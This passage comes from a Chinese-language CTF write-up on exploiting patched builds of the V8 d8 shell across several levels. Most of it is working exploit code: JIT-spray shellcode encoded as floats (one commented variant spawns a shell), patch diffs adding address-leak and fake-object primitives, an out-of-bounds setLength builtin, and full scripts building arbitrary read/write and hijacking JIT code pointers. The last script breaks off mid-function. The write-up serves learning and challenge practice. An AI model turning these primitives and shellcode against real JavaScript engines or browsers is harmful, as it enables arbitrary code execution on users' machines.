        0xceb900067616cb8n,
        0xceb9066746163bbn,
        0xceb909020e0c148n,
        0xceb909050d80148n,
        0xceb90f631e78948n,
        0x90050f583b6ad231n
    ];
     
    const shellcodeFloats = [];
    const buffer = new ArrayBuffer(8);
    const view = new DataView(buffer);
     
    for (const int of shellcodeInts) {
        view.setBigUint64(0, int, true);
        const float = view.getFloat64(0, true);
        shellcodeFloats.push(float);
    }
    return shellcodeFloats;
}
 
const shellcode = convertShellcode();
console.log("const shellcode = () => {return [");
shellcode.forEach((num, index) => {
    console.log(`    ${num}${index < shellcode.length - 1 ? ',' : ''}`);
});
console.log("];}");

输出如下,最后拷贝到exp.js里,这个就是我们需要的shellcode

1
2
3
4
5
6
7
8
9
➜  release git:(5a2307d0f2c) ✗ node convert.js
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}

遇到的一些问题

过程中遇到了很奇怪的问题(玄学),这是我一开始的脚本,必须删除一些debug输出,才能在远程环境中输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// readflag
const shellcode =()=> {return [1.9995716422075807e-246,
1.9710255944286777E-246,
1.97118242283721E-246,
1.971136949489835E-246,
1.9711826272869888E-246,
1.9711829003383248E-246,
    -9.254983612527998e+61];}
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
// p(shellcode);
 
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
// ins_base_lo+0x69+2
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
// x
 
// stop();
shellcode();
// shellcode();
// spin();

最终拿到flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    1.9711828988945186e-246,
    1.9710306750501128e-246,
    -6.910973738673629e-229
];}
 
 
for(let i = 0; i< 20000; i++){
    shellcode();shellcode();
    shellcode();shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();

exp

以下为最终的脚本,修改了shellcode执行的次数之后,可以稳定的输出flag,但是笔者debug了一下两个脚本的区别,最后的优化代码都是Maglev生成的,且size相同,没有查到根本原因,如果有知道的师傅,可以d一下笔者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = ArbRead32(shellcode_addr+0xc);
var ins_base_lo = ArbRead32(code_addr-1+0x14);
var ins_base_hi = ArbRead32(code_addr-1+0x14+4);
var rop_addr = BigInt(ins_base_hi) * 4294967296n + BigInt(ins_base_lo)+0x6bn;
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base_lo",ins_base_lo);
logg("ins_base_hi",ins_base_hi);
logg("rop_addr",rop_addr);
logg("ins_base_lo+0x69+2",ins_base_lo+0x69+2);
 
ArbWrite32(code_addr-1+0x14,ins_base_lo+0x69+2);
 
shellcode();

level-3

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  release git:(5a2307d0f2c) ✗ cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

编译

1
autoninja -C out/release d8

漏洞分析

patch了两个很经典的原语,分别用于获取obj的地址和伪造obj

GetAddressOf的实现。获取isolate,限制参数长度不能为0,限制参数的类型必须为gc管理的对象,类型转化下,然后获取obj的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}

GetFakeObject的实现。获取isolate和对应的上下文环境,限制参数的长度必须为1且为number类型,获取addr,将被压缩的指针恢复为原来的地址,cast为obj类型,接着调用obj_handle转化为obj。

这里obj_handle的类型其实还是会做一些检查的,伪造的时候还是需要去伪造map、prototype等,以确保是一个看起来正确的obj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}

下面是完整的diff内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..0299ed26802 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate *isolate = info.GetIsolate();
+  Local<v8::Context> context = isolate->GetCurrentContext();
+
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+
+  Local<v8::Uint32> arg;
+  if (!info[0]->ToUint32(context).ToLocal(&arg)) {
+    isolate->ThrowError("Argument must be a number");
+    return;
+  }
+  uint32_t addr = arg->Value();
+
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+
+  internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);
+  internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);
+  internal::Handle<internal::Object> obj_handle(obj, i_isolate);
+  info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "GetFakeObject",
+                       FunctionTemplate::New(isolate, GetFakeObject));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..fbb091afbaf 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,8 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,

漏洞利用

有GetAddressOf和GetFakeObject,可以通过这两个原语来构造出一个fake_array,从而实现AAR和AAW

可以看下图

通过在某一地址处伪造出map和prototype,然后可以通过GetAddressOf获取其地址,接着写入prototype的值,写成0就可以。接着人为构造一个array,通过GetAddressOf获取到elements的地址,然后可以写死到fake_array里,length就可以自定。

那么就会得到这样一个fake_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]

通过GetAddressOf获取到fake_array的地址之后,接着使用GetFakeObject就可以获取到一个fake_obj,然后通过这个fake_obj实现AAR和AAW

cage_read/write的命名有点问题,这里没开沙箱,后来笔者写这篇博客的时候发现了,懒得改了

1
2
3
4
5
6
7
8
9
function cage_read(addr){
    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}

接着利用JIT Spray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
var buf = new ArrayBuffer(8);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
// p(shellcode);
 
var rw_array = [1.1,2.2,3.3,4.4];
var fake_map = [u64_to_f64(0x3600000a001c0261n), u64_to_f64(0x0a0007ff11000844n)];
var fake_map_addr = GetAddressOf(fake_map) + 0x24 + 0x30;
var rw_array_element_addr = GetAddressOf(rw_array)-0x28;
//
 
var fake_array = [
    lh_u32_to_f64(fake_map_addr+1,0),
    lh_u32_to_f64(rw_array_element_addr+1,0x100)
]
 
var fake_array_addr = GetAddressOf(fake_array)+0x24+0x30;
var fake_obj = GetFakeObject(fake_array_addr);
 
// p(rw_array);
// p(fake_array);
// p(fake_map);
// logg("fake_map_addr",fake_map_addr);
// logg("rw_array_element_addr",rw_array_element_addr);
// logg("fake_array_addr",fake_array_addr);
 
// console.log(typeof fake_obj);
 
function cage_read(addr){
    fake_array[1] = lh_u32_to_f64(Number(addr)-8+1,0x100);
    return Number(f64_to_u64(fake_obj[0]));
}
 
function cage_write(addr,val){
    fake_array[1] = lh_u32_to_f64(addr-8+1,0x100);
    fake_obj[0] = u64_to_f64(val);
}
 
var shellcode_addr = GetAddressOf(shellcode);
var code_addr = cage_read(shellcode_addr+0xc) >> 32;
var ins_base = cage_read(code_addr-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6b);
 
cage_write(code_addr-1+0x14,BigInt(ins_base+0x6b))
 
 
// stop();
shellcode();
 
// spin();

level-4

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  release cat args.gn     
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

编译

1
autoninja -C out/release d8

漏洞分析

patch了一个setLength方法

这里将length转化为smi,注意下就行。然后检测下receiver的类型,就直接赋值了,修改了array的长度

1
2
3
4
5
6
7
8
9
10
11
12
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}

完整的patch内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
diff --git a/BUILD.gn b/BUILD.gn
index c0192593c4a..83e264723f7 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) {
 }
  
 torque_files = [
+  "src/builtins/array-setlength.tq",
   "src/builtins/aggregate-error.tq",
   "src/builtins/array-at.tq",
   "src/builtins/array-concat.tq",
diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
new file mode 100644
index 00000000000..4a2a864af44
--- /dev/null
+++ b/src/builtins/array-setlength.tq
@@ -0,0 +1,14 @@
+namespace array {
+transitioning javascript builtin
+ArrayPrototypeSetLength(
+  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+    try {
+      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
+      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
+      array.length = len;
+    } label ErrorLabel {
+        Print("Nope");
+    }
+    return receiver;
+}
+}
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..f3379ac47ec 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
                           array_function, DONT_ENUM);
  
+    SimpleInstallFunction(isolate_, proto, "setLength",
+                          Builtin::kArrayPrototypeSetLength, 1, true);
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
     SimpleInstallFunction(isolate_, proto, "concat",

漏洞利用

我们可以修改array的length,那么其实意味着我们可以有一个越界写,但是经过笔者的测试发现,他其实只是修改了这个JSArray的length,但是element的length并没有修改,然后笔者推测越界写应该是有一个check,然后导致了越界写的失败,所以我们这里只能有一个越界读

似乎还有一个解释,这里的JSArray采用了懒加载,就是虽然设置了0x1000,但如果其实没有用到那么大的空间的时候,就不会初始化后面的空间,所以有的时候越界读会堵到NAN,这个有点像延迟绑定????

那么我们可以利用如下代码构造如下的结构,构造两个相邻的double_array

1
2
3
4
5
6
7
8
9
10
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
 
array.setLength(0x10000);
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)

利用oob读取下一个double_array的map和prototype

有了double_array的map和prototype,想要构造addressOf的原语,这里还需要一个obj_map和prototype,因为有了一个越界读,所以可以通过修改一个正常obj的elements来实现AAR和AAW,因此这里不需要构造fakeObject也同样可以实现AAR和AAW

所以接着可以构造double_array和obj相邻的结构,代码如下

1
2
3
4
5
6
7
8
9
10
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)

此时已经具备了所有构造的条件,先看下addressOf的实现

1
2
3
4
5
6
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}

其实就是如下的结构,通过rw_array的越界写,修改obj的map,这样改变了其索引element的方式,可以获取任意对象的地址

接着构造AAR,

1
2
3
4
5
6
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    return f64_to_u64(obj[0]);
}

利用rw_array的越界写,修改obj的第一个element,然后obj[0]就可以访问到指定地址内容了

细心的读者可能会注意到,这里的addr-8,原因是elemnet索引的时候,开头的八个字节是map和prototype,所以访问第一个元素是addr+8,相对应的,我们想要实现任意地址读写的效果,这里就需要addr-8

下面的AAW其实是一样的,只不过AAR是通过obj[0]访问元素,这里是通过obj[0] = xxx;赋值,来修改内容

1
2
3
4
5
6
7
8
9
10
function AAW(addr,val){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
    // let lo = Number(BigInt(val) & 0xffffffffn);
    // let hi = Number((BigInt(val) >> 32n) & 0xffffffffn);
    // logg("lo",lo);
    // logg("hi",hi);
    // obj[0] = lh_u32_to_f64(lo,hi);
    obj[0] = u64_to_f64(val);
}

可以看到注释,这里踩了一个坑,这里Number和BigInt转化的时候出现了精度损失

下面就是用JIT Spray来指令执行了,和前面的流程一致

1
2
3
4
5
6
7
8
9
10
11
12
var shellcode_addr = addressOf(shellcode);
var code_addr = AAR(shellcode_addr+0xc) & 0xffffffffn;
var ins_base = AAR(Number(code_addr)-1+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
logg("rop_addr",ins_base+0x6bn);
 
AAW(Number(code_addr)-1+0x14,BigInt(ins_base+0x6bn))
 
shellcode();

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
 
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
 
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function u32_to_f32(val){
    u32[0] = val;
    return f32[0];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
// js_heap_defragment();
var tag = 1;
var array = new Array(0x1000).fill(1.1)
var rw_array = new Array(0x1000).fill(2.2);
var obj = {array,rw_array};
 
array.setLength(0x10000);
 
 
// p(array);
// p(rw_array);
// p(obj);
 
 
var double_map_addr = u64_to_u32_lo(f64_to_u64(array[0x1000]));
var double_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x1000]));
 
// // 方法1
// var obj_map_addr = u64_to_u32_lo(f64_to_u64(array[0x2805]));
// var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(array[0x2805]));
 
// 方法2
rw_array.setLength(0x10000);
var obj_map_addr = u64_to_u32_lo(f64_to_u64(rw_array[0x1000]));
var obj_prototype_addr = u64_to_u32_hi(f64_to_u64(rw_array[0x1000]));
 
logg("double_array_map",double_map_addr)
logg("double_prototype_addr",double_prototype_addr)
 
logg("obj_map_addr",obj_map_addr)
logg("obj_prototype_addr",obj_prototype_addr)
 
 
function addressOf(object){
    rw_array[0x1000] = lh_u32_to_f64(obj_map_addr,obj_prototype_addr);
    obj[0] = object;
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    return u64_to_u32_lo(f64_to_u64(obj[0]));
}
 
function AAR(addr){
    rw_array[0x1000] = lh_u32_to_f64(double_map_addr,double_prototype_addr);
    rw_array[0x1001] = lh_u32_to_f64((addr - 8) | tag,0x20000);
